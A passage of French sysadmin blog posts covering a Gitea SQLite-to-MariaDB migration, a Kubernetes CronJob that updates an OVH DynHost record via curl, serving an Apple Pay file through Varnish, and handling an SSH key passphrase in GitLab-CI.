Dire que ce sujet m’aura arrachĂ© quelques cheveux est un euphĂ©misme, et pourtant dieu sait que j’en ai pas vraiment besoin, ça tombe dĂ©jĂ  tout seul. Certes Gitea supporte trois moteurs diffĂ©rents (SQLite, MySQL/MariaDB, PostgreSQL), ça ne l’empĂȘche pas de ne pas proposer de mĂ©thode officielle ni d’outil pour migrer une installation existante d’un moteur Ă  l’autre. J’ai donc retroussĂ© mes manches, rotĂ© un litre de sang ou deux, mais j’ai trouvĂ© comment faire et surtout rĂ©ussi. Je vous raconte.

Ceci est principalement une concatĂ©nation de ce que j’ai commencĂ© Ă  faire en stream le 17 janvier dernier, et terminĂ© le dimanche 26 suivant. J’étais parti de la base d’un message sur le forum de Gitea cherchant Ă  faire exactement la mĂȘme chose. J’en avais dĂ©duit une sĂ©rie d’étapes que j’ai plus ou moins respectĂ©es, assez simple:

  • Dumper la base actuelle via la commande intĂ©grĂ©e (qui gĂ©nĂšre un dump sql de la base SQLite); l’instance doit ĂȘtre dĂ©marrĂ©e pour ça, because binaire gitea
  • Couper gitea pour Ă©viter un delta
  • Archiver le dossier sur le NAS, pour tout restaurer Ă  l’état initial si besoin
  • RĂ©cupĂ©rer le fichier sql du dump
  • Lancer une instance vierge de gitea sur MySQL/MariaDB directement avec docker-compose, initialiser l’installation, et dumper la base créée
  • Retirer les INSERT INTO du fichier de dump MySQL, et y ajouter Ă  la fin tous les INSERT INTO du fichier de dump SQLite
  • Importer dans l’instance MySQL cible,  Dans mon cas, MariaDB, mais c’est pareil
  • Reconfigurer son Gitea pour qu’il l’utilise Ă  la place
  • Retirer le fichier sqlite du dossier de donnĂ©es (on l’a toujours dans l’archive, remember)
  • RedĂ©marrer gitea

Et Ă  la vĂ©ritĂ©, mĂȘme avec les travaux supplĂ©mentaires post-stream, au niveau du fichier de dump lui-mĂȘme, il s’avĂšre qu’il n’y a pas besoin de faire plus que les trois Ă©tapes mentionnĂ©es au dessus. Comment est-ce possible !?

Le problĂšme qu’on avait donc au moment de tenter l’import dans l’instance se produisait sur des INSERT donc certains champs contenaient des emojis. La plupart du temps, ça se produit pour des histoires d’encodage au niveau des fichiers ou de la base. C’est d’ailleurs ce qui m’a fait perdre du temps pendant le live, oĂč on a tentĂ© en vain de convertir les fichiers avant de tenter l’import, avec un rĂ©sultat parfois trĂšs surprenant, comme ce passage par UTF-16 puis UTF-8 qui s’est soldĂ© par un fichier aussi comprĂ©hensible que du chinois, et pour cause, il Ă©tait rempli de caractĂšres chinois !

L’image de la satisfaction sur mon visage 🙂

La joie des encodages dans les bases de données

Dans le schĂ©ma (qu’on peut consulter via MySQL ou dans le fichier lui-mĂȘme), beaucoup de champs/tables sont encodĂ©es en utf8mb4, c’est Ă  dire UTF-8 avec la possibilitĂ© de coder les caractĂšres sur 4 octets. Avec l’embonpoint qu’a pris UTF-8 ces derniĂšres annĂ©es pour inclure toujours plus d’emojis, c’est une nĂ©cessitĂ© adoptĂ©e par Ă©normĂ©ment d’applications dont les donnĂ©es sont fournies par les utilisateurs, et les forges git ne sont pas Ă©pargnĂ©es (WordPress aussi par exemple est passĂ© Ă  l’utf8mb4 il y a un bon moment dĂ©jĂ ).

Ce qui m’a interpellĂ© c’est qu’effectivement, l’erreur sur laquelle je butais concernait des emojis, plus prĂ©cisĂ©ment ceux que j’ai foutu dans le code de mon premier pipeline Gitea Actions de livraison du LinkFree (autre sujet dĂ©couvert en live, abonnez-vous/follow toussa toussa). Dans le fichier on voit bien qu’ils sont sur quatre octets. Mais alors, qu’est-ce qui coince ? En effet, en cherchant un peu, on tombe sur un thread qui dit que parfois, le serveur force un autre mode d’encodage si on lui dit pas de faire autrement, et conseille d’utiliser la commande SET NAMES utf8mb4 pour forcer les paramĂštres de fonctionnement. Plus Ă©trangement, c’est pourtant ce que j’ai au dĂ©but du fichier de dump, donc pourquoi ne pas en tenir compte ?

Apparemment, c’est ce que fait mon serveur au moment oĂč le client se connecte, je me retrouve en utf8mb3. Et donc, avec la premiĂšre mĂ©thode d’import, celle qu’on conseille dans 99,99% des cas, il n’en tient pas compte. Oui oui, avec mysql gitea <dump.sql, et mĂȘme si les premiĂšres lignes du fichier en question disent de passer en utf8mb4, il n’en tient pas compte.

Un des soucis avec cette mĂ©thode d’ailleurs, c’est qu’il abandonne Ă  la premiĂšre erreur. Ce qui fait qu’on ne sait pas trop combien de lignes sont concernĂ©es par le problĂšme. Je change donc mon fusil d’épaule et tente de faire autrement. En effet, le client mysql permet, aprĂšs la connexion, de « sourcer Â» un fichier sql depuis le systĂšme de fichiers (je vous laisse la page de doc pour en connaitre les dĂ©tails). En tentant basiquement le coup, j’ai eu raison de vouloir le tenter, mais ça m’a aussi jouĂ© un tour : il affiche les erreurs, toutes cette fois, mais aussi un message de retour pour chaque INSERT rĂ©ussi. Pas de bol, y’en a plus de 30000, et un historique de 9000 lignes seulement dans Windows Terminal. Il va donc falloir ruser.

Je tente une chose: utiliser l’option « -e Â» de mysql, qui permet de lancer une ou plusieurs requĂȘtes aprĂšs la connexion, un peu Ă  la maniĂšre d’SSH, ce qui rend la main dans le shell juste aprĂšs (ça connecte, ça exĂ©cute, ça dĂ©connecte). Pour pouvoir parcourir les rĂ©sultats, je renvoie la sortie standard dans un fichier. Et lĂ , trĂšs bonne surprise : les erreurs sont renvoyĂ©es sur l’erreur standard, mais comme je renvois la sortie standard dans un fichier, je n’ai QUE les erreurs Ă  l’écran !

Il n’y en a pas tant que ça, mais je dĂ©couvre d’autres erreurs. Je dĂ©cide de les prendre dans l’ordre et de m’atteler donc au souci d’emojis. Il ne tient pas compte de l’entĂȘte du fichier ? Pas grave, on est en mode « -e Â», j’ajoute donc le SET NAMES en premier avant de faire mon source :

mysql -p$MARIADB_ROOT_PASSWORD -e "set NAMES utf8mb4; source /root/gitea-final.sql;"

Tada, plus d’erreurs d’emojis, mais il reste quelque chose d’encore plus cryptique:

ERROR 1292 (22007) at line 31080 in file: '/root/gitea-final.sql': Truncated incorrect DOUBLE value: 'push failed: remote: Invalid username or password.'
ERROR 1292 (22007) at line 31907 in file: '/root/gitea-final.sql': Truncated incorrect DOUBLE value: '<a href="/Seboss666/collect/commit/79b78d68891f8e7b19c6e7b6968914ea2607d2f7">change last films from 10 to 30 (see #4)'
ERROR 1292 (22007) at line 31910 in file: '/root/gitea-final.sql': Truncated incorrect DOUBLE value: 'Flask framework has an extension flask-bootstrap (as mentioned and used in the mega-tutorial), and Bootstrap was one of the c...'
ERROR 1292 (22007) at line 31911 in file: '/root/gitea-final.sql': Truncated incorrect DOUBLE value: '<a href="/Seboss666/collect/commit/5ad6c4660205e3b5c0c29f92bc9ab8adf042cfc8">change default type for new movies (#3)'
ERROR 1292 (22007) at line 31918 in file: '/root/gitea-final.sql': Truncated incorrect DOUBLE value: '<a href="/Seboss666/k3s_platform/commit/edfe7190ab523b635390f5dff4a6b08f69d59c66">consul migration (issue #7)'

Bon, il n’y en a pas beaucoup, et c’est vite trouvĂ© : y’a un truc avec une syntaxe pourtant correcte de concatĂ©nation de caractĂšres Ă  base de « double pipes Â», avec entre deux, un caractĂšre encodĂ©. En tout cas sur l’instant et avec une recherche rapide sur DDG ça a l’air correct et supportĂ©. Cette fois, le caractĂšre en question est censĂ© vouloir dire « retour Ă  la ligne Â», l’équivalent du « \n Â» qu’on rencontre parfois, dans les formats sĂ©rialisĂ©s notamment (coucou JSON). Mais cette erreur SQL par contre, elle couvre beaucoup de cas d’usages diffĂ©rents Ă  voir les rĂ©sultats de recherche que je trouve, et qui ne correspondent pas au format de donnĂ©es auquel je fais face.

INSERT INTO `push_mirror` (`id`, `repo_id`, `remote_name`, `remote_address`, `sync_on_commit`, `interval`, `created_unix`, `last_update`, `last_error`) VALUES (1,39,'remote_mirror_f93HyYmLhw','https://github.com/seboss666/ovh-dynhost-helm.git',1,28800000000000,1686342369,1737866664,'push failed: remote: Invalid username or password.' || X'0a' || 'fatal: Authentication failed for ''https://github.com/seboss666/ovh-dynhost-helm.git/''' || X'0a' || ' - remote: Invalid username or password.' || X'0a' || 'fatal: Authentication failed for ''https://github.com/seboss666/ovh-dynhost-helm.git/''' || X'0a' || ' - remote: Invalid username or password.' || X'0a' || 'fatal: Authentication failed for ''https://github.com/seboss666/ovh-dynhost-helm.git/''' || X'0a0a');

Je vous passe la bonne heure Ă  tenter des trucs pourris, Ă  me dire que peut-ĂȘtre je vais bricoler Ă  la main pour retoucher les lignes, voire tenter de réécrire les INSERT en question en utilisant la fonction CONCAT (prĂ©vue justement pour concatĂ©ner des chaĂźnes de caractĂšres),  avant de tomber sur cet article qui parle d’un comportement avec dBeaver (trousse Ă  outil pour bases de donnĂ©es qui peut ĂȘtre assez puissant), et dont la source m’avait dĂ©jĂ  cassĂ© les couilles par le passĂ© chez un client d’LBN: les modes SQL. Dans l’article, il parle d’un mode en particulier, PIPES_AS_CONCAT. Une petite vĂ©rification rapide montre que je n’ai effectivement pas ce mode d’activĂ© par dĂ©faut, il ne reconnait donc pas la syntaxe de concatĂ©nation ! Sur l’instant je peste sur le fait qu’il va vraiment falloir que je me penche sur la configuration de mon instance MariaDB et je tente de modifier ma commande pour en arriver Ă  la version finale:

mysql -p$MARIADB_ROOT_PASSWORD -e 'set NAMES utf8mb4; SET sql_mode=(SELECT CONCAT(@@sql_mode, ",PIPES_AS_CONCAT")); source /root/gitea-final.sql;' > source_result.log

Et là, c’est fini, plus d’erreurs !!!

Au tour de Gitea de se faire reconfigurer la face

En effet, maintenant qu’on a une base fonctionnelle, comment lui dire de l’utiliser ? LĂ , c’est via la documentation Ă  la fois de gitea lui-mĂȘme et de l’image docker que la solution sera trouvĂ©e.

DĂ©jĂ  pour commencer, j’ai la base de donnĂ©es, mais il me faut l’utilisateur et le mot de passe qui vont bien avec. Un coup de GRANT ALL PRIVILEGES plus tard (oui c’est toujours supportĂ© dans MariaDB), c’est fait. Au dĂ©but, je me dis que je vais la jouer ceinture/bretelles, Ă  savoir modifier le fichier de conf ET les variables d’environnement pour m’assurer que ça fonctionne comme il faut. CĂŽtĂ© fichier, simple, je me rends sur mon NAS, entre dans le dossier de configuration de gitea, Ă©dite le fichier avec vi (non, pas vim), et modifie les paramĂštres de la section [database] pour pointer sur MariaDB (la doc officielle de Gitea est particuliĂšrement complĂšte sur ce point).

Pour les variables d’environnement, c’est un poil plus sport. Toutes mes variables sont actuellement dĂ©finies directement dans le manifeste deployment, je dĂ©cide de rester comme ça pour l’instant (j’exclus pas de dĂ©porter ça dans un ConfigMap plus tard pour la lisibilitĂ©), sauf pour un seul d’entre eux, Ă©vident: le mot de passe. Lui, je le fous dans un secret via kubectl et rĂ©fĂ©rence celui-ci dans mon dĂ©ploiement.
En gros, ça donne ça :

Au dĂ©but j’ai une jolie erreur au dĂ©marrage, en vĂ©rifiant le fichier de configuration il s’avĂšre que ce que j’avais Ă©crit a Ă©tĂ© remplacĂ© par le contenu fourni dans les variables d’environnement (ce qui me rassure sur le fonctionnement de l’image finalement), mais j’avais Ă©tĂ© un peu vite dans les copier/coller et merdĂ© le pointage de la base, mauvais nom d’hĂŽte. Je corrige et rĂ©applique, une minute plus tard, j’entends mon NAS gratter salement. Mais pas d’erreur, je confirme en supprimant le fichier sqlite du dossier de donnĂ©es, tout va bien, c’est donc rĂ©el. Je tente un push des modifications sur le dĂ©ploiement de Gitea pour confirmer, tout est toujours bon !

D’autres erreurs possibles ?

Étant donnĂ© que la mĂ©thode ressemble quand mĂȘme un peu Ă  du bricolage, c’est pas impossible. Dans le thread d’origine, le gars a expliquĂ© qu’il a quand mĂȘme dĂ» reconfigurer son fournisseur d’authentification. Je sais pas si c’est liĂ© directement Ă  la migration ou Ă  un autre point de configuration en lien (l’archi autour a peut-ĂȘtre changĂ©, le mode de dĂ©ploiement aussi, etc), mais en tout cas, dans mon cas, il s’avĂšre que les rares erreurs sont plus liĂ©es Ă  la configuration « par dĂ©faut Â» de mon instance MariaDB qui mĂ©riterait un peu plus d’amour (ne serait-ce que pour la mettre Ă  jour).

Et on a la chance de pas avoir de contraintes sur de la clĂ© Ă©trangĂšre ou autre, auquel cas il aurait probablement fallu passer par le snippet de Deblan (alias deblantv sur Twitch) qu’il m’a gentiment Ă©crit pendant le live, qui permet de rajouter les commandes de dĂ©sactivation des contraintes de clĂ©s avant de tenter les INSERT. On n’en a pas eu besoin au final, mais je tenais Ă  le remercier pour sa participation, c’est donc tout naturellement que je l’ai tenu informĂ© sur Mastodon en avant-premiĂšre des avancĂ©es, Ă©tant donnĂ© que c’est sur ce rĂ©seau qu’il a vu que j’étais en live et est passĂ© nous voir.

Enfin voilĂ , j’ai quand mĂȘme rĂ©ussi Ă  faire ce que je voulais, et ça fonctionne comme je l’attendais. C’était pourtant pas gagnĂ© 🙂

  •  

Gérer son DynHost OVH grùce à Kubernetes et Nixery

AprĂšs un retour plutĂŽt positif Ă  ma question de proposer des versions textes de certains sujets abordĂ©s pendant certains lives Twitch, on va commencer dans l’ordre avec le plus ancien. Fruit de ma tentative de sauvetage d’un naufrage total du live sur GoDNS, je vous propose donc une solution qui ne nĂ©cessite aucun soft dĂ©diĂ© (si on met de cĂŽtĂ© Kubernetes Ă©videmment), et sans avoir besoin de crĂ©er une image custom !

C’était mon deuxiĂšme live sur YouTube, avant que je ne craque et parte sur Twitch. Je vous remets le lien parce qu’il est moins facile Ă  trouver que les autres, l’ergonomie concernant les lives sur YouTube Ă©tant
 particuliĂšre.

Alors, comme d’hab’, commençons par revenir sur les fondamentaux rapidement, Ă  savoir le DynHost. C’est le nom maison d’OVH pour faire du DNS dynamique. Mais qu’est-ce donc ? Un DNS Dynamique, c’est un dispositif pour mettre frĂ©quemment Ă  jour un enregistrement DNS, notamment un enregistrement A pour une adresse IPv4 qui change frĂ©quemment. Et quand on hĂ©berge des trucs chez soi et que votre fournisseur d’accĂšs Ă  Internet ne vous fournit pas d’adresse IPv4 fixe (parce que c’est devenu super rare et super cher), c’est super pratique. Certains connaissent peut-ĂȘtre No-IP, DynDNS, certains fournisseurs Ă©tant mĂȘme directement intĂ©grĂ©s dans certains routeurs voire certaines box opĂ©rateur.

Bref, c’est donc ce que propose OVH avec son service DynHost. Je vais pas rentrer dans un million de dĂ©tails, j’ai fait un rĂŽle Ansible Ă  une Ă©poque pour gĂ©rer le truc avec un service qui s’appelle ddclient, je vous remets l’article que j’avais Ă©crit il y a 4 ans pour comprendre ce qu’il fait, il y a dedans les liens vers les documentations d’OVH sur le sujet.

Le problĂšme pendant le live

En trĂšs trĂšs gros rĂ©sumĂ©, je voulais remplacer le ddclient de la VM par un pod Kubernetes (pour l’exercice), mais il y a eu deux gros pĂ©pins :

  • je voulais utiliser goDNS, mais la doc m’a indiquĂ© qu’OVH n’était pas supportĂ© (sĂ©rieux !?)
  • je n’ai jamais rĂ©ussi Ă  faire fonctionner ddclient plus d’une fois aprĂšs le dĂ©marrage dans mon pod Kubernetes, sans que je sache vraiment pourquoi

Bref, j’ai fini par avoir une idĂ©e Ă  la con, mon cerveau fonctionnant toujours malgrĂ© les minutes et le stress du live passant : revenir Ă  l’appel de base de l’URL de la doc d’OVH, et utiliser un autre objet Kubernetes de maniĂšre originale.

Cronjob et Nixery ?

Un Cronjob Kubernetes permet d’exĂ©cuter une tache finie dans le temps Ă  intervalles plus ou moins rĂ©gulier, Ă  la maniĂšre d’une tĂąche cron sur un serveur classique. Lancer une requĂȘte Web avec Curl semble donc trĂšs facile Ă  faire avec un cronjob, ce qui veut dire qu’on a pas besoin d’une image de furieux pour le faire fonctionner. Le curl se rĂ©sume Ă  ça :

#
curl -s -u $CREDENTIALS "https://www.ovh.com/nic/update?system=dyndns&hostname=$DOMAIN&myip=$(curl -s -4 ifconfig.me/ip)"
#

Donc on a au final deux curl imbriquĂ©s l’un dans l’autre, car il faut bien commencer par dĂ©terminer sa propre adresse IP, et des services comme ifconfig.co et ifconfig.me sont trĂšs bons pour ça. Et comme on gĂšre une IPv4, on force de faire l’appel en v4 pour s’éviter des problĂšmes. Et donc le rĂ©sultat de ce premier appel est utilisĂ© directement pour envoyer la mise Ă  jour chez OVH.

Bref, on a notre « job Â», on sait comment le planifier, reste l’environnement pour l’exĂ©cuter. Et je me rends compte que je n’ai jamais parlĂ© de Nixery ici. J’ai dĂ©couvert le service grĂące Ă  l’incontournable JĂ©rĂŽme Petazzoni. Nixery est un service de fourniture d’images « Docker Â» (on devrait dĂ©sormais parler d’images OCI parce qu’il n’y a pas que docker dans la vie), qui ont la particularitĂ© de ne pas ĂȘtre statiques, au sens oĂč on l’entend habituellement. Comme vous le savez, les images OCI sont construites sur un modĂšle de « couches Â» oĂč une couche contient les modifications par rapport Ă  la couche prĂ©cĂ©dente. La magie de Nixery est de construire une image « Ă  la volĂ©e Â» Ă  partir de couches correspondants aux outils dont on a besoin dans l’image. Dans mon cas, si je demande nixery.dev/arm64/shell/curl, il va me construire une image contenant un busybox et curl, pour une architecture ARM 64bit, mes Raspberry Pi donc. Et c’est tout. Le seul inconvĂ©nient, c’est qu’il va mettre un poil plus de temps Ă  rĂ©pondre pour nous fournir le manifeste. Mais c’est super cool du coup de pas avoir Ă  faire ses images soi-mĂȘme 🙂

On a donc tous les ingrĂ©dients. Si on veut faire les choses en quick&dirty, on peut le faire dans un seul fichier que l’on pourrait rĂ©sumer rapidement comme tel:

---
apiVersion: batch/v1
kind: CronJob
metadata:
  name: dynhost-ovh-cron
  labels:
    app.kubernetes.io/name: dynhost-ovh-cron
spec:
  schedule: "*/5 * * * *"
  jobTemplate:
    spec:
      template:
        metadata:
          labels:
            app.kubernetes.io/name: dynhost-ovh-cron
        spec:
          containers:
          - name: dynhost
            image: "nixery.dev/arm64/shell/curl:latest"
            imagePullPolicy: IfNotPresent
            command:
            - /bin/sh
            - -c
            - curl -s -u $CREDENTIALS "https://www.ovh.com/nic/update?system=dyndns&hostname=$DOMAIN&myip=$(curl -s -4 ifconfig.me/ip)"
            env:
            - name: CREDENTIALS
              value: <BasicAuth>
            - name: DOMAIN
              value: <Dynhost.Domain.tld>
          restartPolicy: OnFailure

Comme c’est un peu cracra de foutre les credentials dans le fichier, pendant le live et par la suite, j’ai peaufinĂ© un chart Helm que j’ai enregistrĂ© sur mon Gitea, qui fait un miroir sur GitHub donc je vous partage Ă©videmment le lien. Si d’aventure le README n’est pas suffisamment clair, faites moi signe.

Est-ce qu’on peut faire mieux ?

Probablement, mais dĂ©jĂ  pour un quick & dirty rĂ©alisĂ© sous stress sans plus de prĂ©paration, je suis pas peu fier de moi et depuis les pratiquement deux ans que j’ai mis ça en place, ça fonctionne toujours du feu de dieu. Il manque quand mĂȘme une bonne partie du setup du DynHost qui se fait majoritairement Ă  la main, mais aprĂšs tout, ce n’est pas un systĂšme qu’on est censĂ© industrialiser en permanence.

Et idĂ©alement tout le monde passe Ă  IPv6 et on peut laisser tomber IPv4. Mais ça, vu que mĂȘme Github le supporte pas encore, on est pas rendus


Bon, maintenant, quel autre sujet d’ancien live mĂ©riterait un article Ă©crit en complĂ©ment ?

  •  

Utiliser Varnish pour injecter du contenu sans toucher au backend

Varnish, en voilĂ  une techno qu’on ne voit pas tous les jours sur les plateformes modernes d’hĂ©bergement, et pourtant, ça se dĂ©ploie mĂȘme dans Kubernetes 😛 Et si je vous dis que j’ai eu Ă  gĂ©rer un cas de fourniture de contenu dans un contexte plus que particulier, avec du Varnish en frontal, et que je ne pouvais pas passer par le serveur web ? Allez, je vous explique.

Varnish, un logiciel méconnu, mais trÚs puissant

Varnish est un serveur « cache Â», qui fonctionne comme un « proxy Â» entre votre site web et ses visiteurs. Son rĂŽle est de garder en mĂ©moire temporairement le rĂ©sultat de la construction des pages de votre site. En effet, quand vous visitez un site comme le mien par exemple, le moteur WordPress, qui doit ĂȘtre chargĂ© en premier lieu, doit construire l’intĂ©gralitĂ© du code HTML de la page, avec les rĂ©fĂ©rences aux feuilles de style, aux scripts JavaScript des diffĂ©rents plugins, et le contenu de la page en question, ce qui implique des appels Ă  la base de donnĂ©es. Bref, un paquet d’activitĂ©s Ă  rejouer pour chaque visiteur, chaque page visitĂ©e. Si le contenu d’une page n’a pas Ă  bouger pendant un certain temps, on peut se dire que gĂ©nĂ©rer une fois la page, et servir le rĂ©sultat X fois pendant ledit certain temps, est un gain de ressources et donc de performances non nĂ©gligeable. C’est un des points forts des CDN, alliĂ© Ă  l’aspect gĂ©ographique de ce type de service.

Varnish est reconnu pour son empreinte minimaliste, et ses performances redoutables. Il est aussi connu pour la mentalitĂ© des dĂ©veloppeurs du projet concernant la sĂ©curitĂ© (ils se sont rĂ©joui le jour oĂč ils ont ouvert une section « security advisory Â», aprĂšs 10 ans d’existence). Il est aussi devenu un peu pĂ©nible Ă  utiliser depuis que le HTTPS s’est gĂ©nĂ©ralisĂ©, parce que les dĂ©veloppeurs ont pris le parti de ne pas l’implĂ©menter, ce qui a rĂ©duit un peu son intĂ©rĂȘt. L’usage des CDNs Ă©tant une autre raison du dĂ©samour croissant.

Le contexte particulier qui nous intéresse

Particulier, c’est bien le mot : le site sur lequel je dois intervenir est dĂ©ployĂ© avec Docker, un container avec Varnish en frontal, un container avec Apache/PHP derriĂšre. Mais j’ai plusieurs problĂšmes avec cette plateforme. Les containers sont dĂ©ployĂ©s avec docker-compose, mais je n’ai pas accĂšs au fichier, tout est construit et dĂ©ployĂ© avec un pipeline Jenkins, jusque lĂ  rien que de trĂšs commun me direz-vous. Sauf que le serveur Jenkins n’existe plus non plus, je n’ai accĂšs Ă  aucune source ni aucun support de l’agence web d’origine (plus de contrat). Le bonheur de tout sysadmin.

On me demande de mettre Ă  jour le « merchant ID Â» d’Apple pour le site web (un identifiant qui sert pour Apple Pay), et ça passe par un fichier spĂ©cial qui doit ĂȘtre joignable avec une URI de la forme /.well-known/apple-developer-merchantid-domain-association. Pas de bol, le container avec le site web est en lecture seule (comprendre, l’utilisateur du container n’est pas le propriĂ©taire du « DocumentRoot Â», le dossier qui contient le site web). Mais, le Varnish 5 prĂ©sent en front, lui, il l’est, d’autant plus qu’on a accĂšs Ă  son compte root !

On est donc tout équipé pour tenter une greffe à chaud sans anesthésie.

OpĂ©ration Ă  cƓur ouvert

J’identifie le fichier « VCL Â» qui contient la configuration relative au site, et j’attaque la premiĂšre tentative. On rajoute un test dans la section vcl_recv{} :

sub vcl_recv {
if (req.url ~ "^/.well-known/apple-developer-merchantid-domain-association") {
return (synth(200,"7C227073704964223B2236304337424..."));
}

return (synth(() est la mĂ©thode Ă  utiliser si on veut renvoyer du contenu qui ne vient pas du backend. Il faut par contre dĂ©finir quelques propriĂ©tĂ©s dans la section vcl_synth{} pour qu’il ne renvoie pas du HTML par dĂ©faut mais du texte brut :

sub vcl_synth {
set resp.http.Content-Type = "text/plain; charset=utf-8";
set resp.body = resp.reason;
return(deliver);
}

Vient ensuite l’injection à chaud de la configuration. C’est un truc que j’aime bien avec Varnish, on peut lui demander de charger plusieurs configurations en parallùle et basculer entres celles-ci en fonction des besoins. En gros, voilà ce que je fais :

bash-5.0# varnishadm
200
-----------------------------
Varnish Cache CLI 1.0
-----------------------------
Linux,3.10.0-1160.83.1.el7.x86_64,x86_64,-junix,-smalloc,-sdefault,-hcritbit
varnish-6.2.1 revision 9f8588e4ab785244e06c3446fe09bf9db5dd8753

Type 'help' for command list.
Type 'quit' to close CLI session.

varnish> vcl.list
200
active warm warm 2 boot

varnish> vcl.load apple /var/varnish-docker/dockerized.apple.vcl
200
VCL compiled.

varnish> vcl.list
200
active warm warm 2 boot
available auto warm 0 apple

varnish> vcl.use apple
200
VCL 'apple' now active
varnish> quit
500
Closing CLI connection
bash-5.0# curl -s http://127.0.0.1:6081/.well-known/apple-developer-merchantid-domain-association
7C227073704964223B2236304337424(...)

Le détail du fonctionnement des commandes Varnish se trouve dans la documentation.

Hourra ! Enfin presque, parce qu’aprĂšs avoir informĂ© le client, ce dernier me dit que c’est toujours pas bon. Et lĂ , le gaillard qui travaille sur l’intĂ©gration Apple Pay m’indique qu’il y a un souci avec le checksum (premiĂšre fois que c’est mentionnĂ© dans nos Ă©changes). La documentation que l’on ne m’avait Ă©videmment pas fourni indiquait bien de livrer le fichier et de ne pas copier son contenu. Je vous le donne en mille, il manque un retour Ă  la ligne Ă  la fin.

J’ai donc bossĂ© sur une alternative. La doc de Varnish me renvoie vers un std.fileread(). Je copie donc le fichier dans le mĂȘme rĂ©pertoire que le VCL, et j’en profite pour faire une syntaxe un poil plus propre au niveau de ce dernier, la voici.

sub vcl_recv {
    if (req.url ~ "^/.well-known/apple-developer-merchantid-domain-association") {
        return (synth(200,"apple"));
    }
(...)
}

sub vcl_synth {
(...)
if (resp.reason == "apple") {
    set resp.http.Content-Type = "text/plain; charset=utf-8";
    set resp.body = std.fileread("/var/varnish-docker/apple-developer-merchantid-domain-association");
    return(deliver);
  }
}

Et lĂ , j’ai bien le bon checksum (franchement, pour un retour Ă  la ligne
). À noter qu’il faut bien faire attention aux permissions du fichier qu’il doit lire – mĂȘme si dans le cas prĂ©sent on est root-, et que le contenu n’est pas lu dynamiquement, mais mis en cache au chargement Ă  l’instar du reste de la configuration, il faut donc jouer avec use/discard/load/use de varnishadm pour jouer avec les configs (ou charger avec un nom diffĂ©rent Ă  chaque fois, mais c’est un peu plus dĂ©gueu).

Dans mon cas, vu le peu de persistance nĂ©cessaire je me suis arrĂȘtĂ© lĂ . Le site Ă©tait en cours de refonte et c’est d’ailleurs ce qui a motivĂ© le choix de l’ajout du fichier en premier lieu sur cette plateforme, vu qu’elle rĂ©pondait dĂ©jĂ  au domaine. Je n’avais pas le temps de tenter un reverse des images pour la jouer au niveau du serveur web, et c’était cool au final de bosser avec Varnish, que je vous recommande de dĂ©couvrir rien que pour comprendre comment fonctionnent certains CDNs.

Amusez-vous bien 🙂

  •  

Gitlab-CI, clĂ© SSH avec passphrase, petit casse-tĂȘte

C’est un cas peu commun et qui m’a donnĂ© du fil Ă  retordre (on parle de 3h d’essais/erreurs), c’est suffisamment barbu pour que je prenne la peine de partager l’info, en redonnant du contexte et un peu plus d’explications quand mĂȘme.

Le contexte, donc

Nous sommes dans une migration de jobs qui s’exĂ©cutaient sur Jenkins Ă  la main et qui doivent ĂȘtre refaits dans Gitlab-CI. Une grande partie de la facilitĂ© vient du fait que tout est basĂ© sur Ansible, ce qui fait qu’on a finalement qu’à gĂ©rer « l’autour Â» de la logique des jobs, Ă  savoir le setup de l’environnement d’exĂ©cution pour Ansible. Certains de ces jobs ciblent des serveurs sous Windows, d’autres sous Linux (Ansible fait ça trĂšs bien, via WinRM/Powershell pour Windows, SSH/Python pour Linux). Pour les Windows, un compte technique dans l’annuaire utilisĂ© pour les environnements de prĂ©production fera le taf Ă  la place de
 variables utilisateurs/mots de passe fournies aux jobs Ă  l’exĂ©cution. Pour les Linux, ça repose sur un compte dĂ©diĂ© avec une clĂ© SSH exploitĂ©e par Jenkins.

En temps normal personne se poserait de question, sauf que lĂ , mon problĂšme est que la clĂ© est protĂ©gĂ©e par une phrase de passe, en anglais passphrase, et c’est particuliĂšrement compliquĂ© de travailler avec, au point que la plupart des gens recommandent de virer la phrase de la clĂ©. Sauf que lĂ , c’est hors de question, j’ai pas le droit d’y toucher. Au moins je peux la rĂ©cupĂ©rer depuis un Vault Hashicorp privĂ©. Et donc, mon premier symptĂŽme, c’est ça :

debug1: Trying private key: /home/appuser/.ssh/id_rsa
debug1: read_passphrase: can\'t open /dev/tty: No such device or address

SSH, ça s’automatise bien normalement, et puis


Le fameux tty qu’on voit, c’est l’interface qui doit permettre Ă  l’utilisateur d’interagir, et donc de saisir la passphrase au moment souhaitĂ©, Ă  savoir quand il doit la prĂ©senter pour la connexion. On comprend donc le problĂšme avec un pipeline Gitlab-CI: point de TTY. Et pas la peine d’y penser, le client SSH n’a aucune autre mĂ©thode directe pour accepter ladite phrase (c’est pas comme l’installation du SDK Android oĂč on peux suffixer < yes pour rĂ©pondre automatiquement aux questions d’acceptation des licences).

À force de chercher et de torturer mes termes de recherche, je finis par tomber sur cet article. Fait intĂ©ressant, il mentionne des options/variables d’Ansible pour manipuler justement les clĂ©s et Ă©viter de fournir la phrase Ă  chaque fois. Mais le problĂšme, c’est que pour ansible_ssh_prompt, on doit indiquer l’intitulĂ© de la question Ă  laquelle on doit rĂ©pondre par la passphrase et qu’il va devoir « capturer Â». Question qui n’est jamais posĂ©e puisque pas de TTY pour ça. Ce n’est donc toujours pas exploitable, mais une rĂ©ponse suivante sur la mĂȘme page me mets sur la voie.

Cette ligne m’intrigue particuliùrement:

- echo "$SSH_PRIVATE_KEY" |tr -d '\r' | DISPLAY=None SSH_ASKPASS=~/.ssh/tmp ssh-add -

La documentation d’ssh-add va rĂ©pondre Ă  mes questions:

DISPLAY, SSH_ASKPASS et SSH_ASKPASS_REQUIRE
    Si ssh-add a besoin d'une phrase secrĂšte, il la lira sur le terminal actif s'il a Ă©tĂ© lancĂ© dans un terminal. Si ssh-add n'a aucun terminal associĂ© alors que DISPLAY et SSH_ASKPASS sont dĂ©fi‐
    nies, il exĂ©cutera le programme spĂ©cifiĂ© par SSH_ASKPASS (par dĂ©faut « ssh-askpass ») et ouvrira une fenĂȘtre X11 pour lire la phrase secrĂšte. Cela s’avĂšre particuliĂšrement utile lors de l'appel
    de ssh-add depuis un fichier .xsession ou un script similaire.

Je tente donc la solution, mais fait face à un nouveau message d’erreur:

ssh_askpass: exec(/home/appuser/.ssh/.print_ssh_password): Exec format error

